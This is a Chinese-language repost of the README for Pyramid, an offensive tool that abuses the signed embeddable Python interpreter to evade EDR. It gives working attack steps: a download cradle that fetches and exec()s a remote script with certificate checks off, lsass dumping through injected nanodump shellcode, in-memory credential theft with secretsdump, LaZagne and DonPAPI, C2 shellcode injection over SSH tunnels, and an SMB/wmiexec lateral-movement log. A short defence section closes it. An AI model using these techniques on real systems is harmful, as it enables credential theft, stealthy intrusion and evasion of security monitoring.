帮助在 EDR 的盲点中操作的工具
作者:Sec-Labs | 发布时间:

项目地址
https://github.com/naksyn/Pyramid
它是什么
Pyramid 是一组 Python 脚本和模块依赖项,可用于规避 EDR。 该工具的主要目的是通过利用一些 Python 规避属性并将其视为合法的 Python 应用程序用法来执行攻击性任务。 这可以实现,因为:
- Python Embeddable 包提供了一个具有 良好声誉 的 签名 Python 解释器 ;
- Python 有很多合法的应用程序,因此有很多不同的遥测数据来自 python.exe 二进制文件,因为解释器在本机运行 API。 这可能会被滥用,方法是在 Python.exe 进程中运行并尝试混入 python.exe 二进制文件的巨大“遥测指纹”。
- 缺少对 Python 代码执行的审计 ——PEP-578 试图解决这个问题,但 python.exe 二进制文件默认没有启用审计功能。
- 操作可以在 python.exe 中本地完成,使用 Python 语言来执行后期开发任务,例如动态导入 Python 模块以运行攻击性工具,并直接在 python.exe 中执行 Beacon 对象文件(在一些 BOF 修改之后)。
有关更多信息,请查看 DEFCON30 - Adversary village talk“Python vs Modern Defenses”幻灯片 和 我博客上的这篇文章 。
免责声明
创建此工具是为了基于一些盲点假设演示针对 EDR 的旁路策略。 它以一种(据我所知)新颖的方式结合了现有的技术和工具,可以帮助规避防御。 该工具的唯一目的是帮助社区提高对这种用法的认识并加速解决问题。 这不是 0day,也不是完全成熟的闪亮 C2,Pyramid 利用了可能是 EDR 盲点的东西,并且该工具已公开以阐明这些盲点。 包括一段辩护段落,希望有经验的蓝队成员可以帮助做出贡献,并就 Pyramid 旨在强调的问题提供更好的解决方案。 所有信息仅用于教育目的。 按照说明操作,风险自负。
学分
Pyramid 正在使用一些很棒的工具,这些工具由:
- Empyre 的 xorrior - Finder 类
- COFFLoader 的 TrustedSec
- bof2shellcode 的 Falconforcenl
- 用于 纳米转储的 S4ntiagoP
贡献者
snovvcrash - base-DonPAPI.py - base-LaZagne.py - base-clr.py
当前功能
Pyramid 功能直接从 python.exe 进程执行,目前是:
- 动态加载 BloodHound Python、impacket secretsdump、paramiko、DonPAPI、LaZagne、Pythonnet、pproxy。
- 使用进程内 shellcode 注入执行 BOF。
- 进程内注入 C2 代理并使用本地 SSH 端口转发隧道传输其流量。
工具说明
Pyramid 旨在用于解压缩官方可嵌入的 Python 包,然后运行 python.exe 来执行 Python 下载底座。 这是避免创建不常见的进程树模式并看起来像正常 Python 应用程序用法的简单方法。
在 Pyramid 中,下载底座用于访问 Pyramid 服务器(具有身份验证的简单 HTTPS 服务器)以获取基本脚本和依赖项。
基本脚本特定于您要使用的功能并包含:
- 自定义 Finder 类以在内存中导入所需的依赖项(zip 文件)。
- 下载所需依赖项的代码。
- 您要执行的模块的主要逻辑(bloodhound、secretsdump、paramiko 等)。
BOF 通过包含由 bof2shellcode 和相关的进程内注入代码生成的 shellcode 的基本脚本运行。
Python 依赖已经修复并修改为在内存中导入时不会冲突。
目前有 8 个主要的基本脚本可用:
- base-bh.py 脚本将在内存中导入并执行 python-BloodHound。
- base-secretsdump.py 脚本将在内存中导入并执行 Impacket secretsdump。
- base-BOF-lsass.py 脚本使用 nanodump 的剥离版本从 python.exe 转储 lsass。 这是通过在内存中注入从 bof2shellcode 和 COFFloader 获得的 shellcode 输出来实现的。 为了使复杂的 BOF 使用这种技术,它们应该首先适应 Python 执行。
- base-tunnel-inj.py 脚本导入并在新线程上执行 paramiko 以创建转发到远程 SSH 服务器的 SSH 本地端口。 之后可以在 python.exe 中本地注入 shellcode。
- base-DonPAPI.py 脚本将在内存中导入并执行 DonPAPI 。 提取的结果和凭据保存在磁盘上的 Python 可嵌入包目录中。
- base-LaZagne.py 脚本将在内存中导入并执行 LaZagne
- base-tunnel-socks5 脚本导入并在新线程上执行 paramiko 以创建转发到 SSH 服务器的 SSH 远程端口,然后在目标上本地执行 socks5 代理服务器并通过 SSH 隧道远程访问。
- base-clr 脚本导入 Pythonnet 以在内存中加载和执行 .NET 程序集。
用法
启动服务器
git clone https://github.com/naksyn/Pyramid
为 HTTP 服务器生成 SSL 证书:
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365
使用 SSL 证书并通过提供基本身份验证运行 Pyramid HTTP 服务器的示例:
python3 PyramidHTTP.py 443 testuser Sup3rP4ss! /home/user/SSL/key.pem /home/user/SSL/cert.pem /home/user/Pyramid/Server/
修改基础脚本
基地-bh.py
在脚本的上半部分插入 AD 详细信息和 HTTPS 凭据。
base-secretsdump.py
在脚本的上半部分插入 AD 详细信息和 HTTPS 凭据。
base-BOF-lsass.py
nanodump BOF 已经过修改,剥离了 Beacon API 调用、cmd 行解析和硬编码输入参数,以便使用进程分叉技术并将 lsass 转储输出到 C:\Users\Public\video.avi。 要更改这些设置,请相应地修改 nanodump 源文件 entry.c 并重新编译 BOF。 然后使用工具 bof2shellcode 将已编译的 nanodump BOF 作为输入:
python3 bof2shellcode.py -i /home/user/bofs/nanodump.x64.o -o nanodump.x64.bin
您可以使用 msfvenom 将生成的 shellcode 转换为 python 格式:
msfvenom -p generic/custom PAYLOADFILE=nanodump.x64.bin -f python > sc_nanodump.txt
然后将其粘贴到 shellcode 变量内的基本脚本中。
基础隧道inj.py
在脚本的上半部分插入 SSH 服务器、本地端口转发详细信息和 HTTPS 凭据,并使用您喜欢的 shellcode stager 修改 sc 变量。 请记住使用 SSH 本地端口转发隧道传输流量,因此 stager 应该将 127.0.0.1 作为 C2 服务器,并将 SSH 侦听端口作为 C2 端口。
base-DonPAPI.py
在脚本的上半部分插入 AD 详细信息和 HTTPS 凭据。
base-LaZagne.py
在脚本的上半部分插入 HTTPS 凭据,并根据需要更改 lazagne 模块。
base-clr.py
在要加载的文件的脚本和程序集字节的上部插入 HTTPS 凭据。
基础隧道-socks5.py
在脚本的上半部分插入参数。
解压缩可嵌入包并在目标上执行下载底座
一旦 Pyramid 服务器运行并且 Base 脚本准备就绪,您就可以从 python.exe 执行下载底座。 Python 下载底座可以很简单:
import urllib.request
import base64
import ssl
gcontext = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
gcontext.check_hostname = False
gcontext.verify_mode = ssl.CERT_NONE
request = urllib.request.Request('https://myIP/base-bof.py')
base64string = base64.b64encode(bytes('%s:%s' % ('testuser', 'Sup3rP4ss!'),'ascii'))
request.add_header("Authorization", "Basic %s" % base64string.decode('utf-8'))
result = urllib.request.urlopen(request, context=gcontext)
payload = result.read()
exec(payload)
请记住,urllib 是一个可嵌入包原生 Python 模块,因此您不需要为此底座安装额外的依赖项。 下载的 python“基础”脚本将在内存中导入依赖项并在 python.exe 进程中执行其功能。
在没有可见提示的情况下执行金字塔
要在不显示可见的 python.exe 提示符的情况下执行 Pyramid,您可以利用 pythonw.exe,它在执行时不会打开控制台窗口,并且包含在完全相同的 Windows 可嵌入包中。 下图说明了在不打开 python.exe 控制台窗口的情况下,pythonw.exe 在远程计算机上执行 base-tunnel-socks5.py 的示例用法。

攻击记录报告如下:
启动金字塔服务器:
python3 PyramidHTTP.py 443 testuser Sup3rP4ss! /home/nak/projects/dev/Proxy/Pyramid/key.pem /home/nak/projects/dev/Proxy/Pyramid/cert.pem /home/nak/projects/dev/Proxy/Pyramid/Server/
将基本下载底座保存到 cradle.py。
将解压的 windows Embeddable Package(带有 cradle.py)复制到目标:
smbclient //192.168.1.11/C$ -U domain/user -c 'prompt OFF; recurse ON; lcd /home/user/Downloads/python-3.10.4-embed-amd64; cd Users\Public; mkdir python-3.10.4-embed-amd64; cd python-3.10.4-embed-amd64; mput *'
执行 pythonw.exe 启动底座:
/usr/share/doc/python3-impacket/examples/wmiexec.py domain/user:"Password1\!"@192.168.1.11 'C:\Users\Public\python-3.10.4-embed-amd64\pythonw.exe C:\Users\Public\python-3.10.4-embed-amd64\cradle.py'
Socks5 服务器正在目标上运行并且 SSH 隧道应该已启动,因此修改 proxychains.conf 并通过目标隧道流量:
proxychains impacket-secretsdump domain/user:"Password1\!"@192.168.1.50 -just-dc
限制
动态加载 Python 模块本身不支持导入本质上是 dll 的 *.pyd 文件。 据我所知,解决此问题的唯一公共解决方案是由 Scythe *(in-memory-execution) 通过重新设计 CPython 解释器提供的。 为了不丢失数字签名,一种允许使用本机 Python 可嵌入包的解决方案包括将所需的 pyd 文件或 wheels 放到磁盘上。 在大多数情况下,这不应该对 OPSEC 产生重大影响,但是请记住,以下包含 pyd 文件的轮子被放到磁盘上以允许动态加载完成:*。 Cryptodome - Bloodhound-Python、Impacket、DonPAPI 和 LaZagne * 需要。 bcrypt、密码学、nacl、cffi - paramiko 需要
- 请注意,运行 BOF 不需要在磁盘上删除任何 pyd,因为该技术仅涉及 shellcode 注入。
如何防御这种技术
Python.exe 是一个具有良好声誉的签名二进制文件,不提供对 Python 动态代码的可见性。 Pyramid 利用这些规避属性从同一 python.exe 进程中执行攻击性任务。
出于这个原因,最有效的解决方案之一是默认阻止由 Python 基金会签名的二进制文件和 dll,只为实际需要使用 python 二进制文件的用户创建例外。
也可以发出有关可嵌入包下载的警报。
部署 PEP-578 虽然复杂,但也是可行的, 这是一个示例实现 。 然而,在不阻止使用 stock python 二进制文件的情况下部署 PEP-578 可能会使该对策失效。